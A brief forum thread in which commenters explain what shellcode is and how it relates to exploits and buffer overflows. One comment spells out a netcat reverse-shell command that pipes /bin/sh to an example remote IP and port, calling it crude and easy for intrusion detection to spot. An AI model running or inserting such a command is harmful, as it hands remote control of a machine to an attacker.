3 ms·
What is a shellcode ?
by stuaxo 6y ago
What is a shellcode ?
- hknapp 6y agoFrom Wikipedia, the free encyclopedia. In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability.
- whynotminot 6y agoTo add more, it gets its name "shell code" from the fact that a lot of the time, the point of the exploit is to launch a system shell that the attacker can control.
- kuroguro 6y agoIt's basically pre-compiled instructions that you would insert, say, as data in a buffer overflow scenario. Then the program with the vuln would execute it.
- yabones 6y agoIn 'hacking' terms, shellcode is a basic means to get remote control of somebody's machine using unconventional means. The most basic example would be using Netcat: nc -e "/bin/sh" 66.77.88.99 6789 Simply, that allows Netcat to pipe any data from the remote host through the shell. This is obviously really bad shellcode since all the network traffic is plaintext and pretty easy for IDS systems to spot.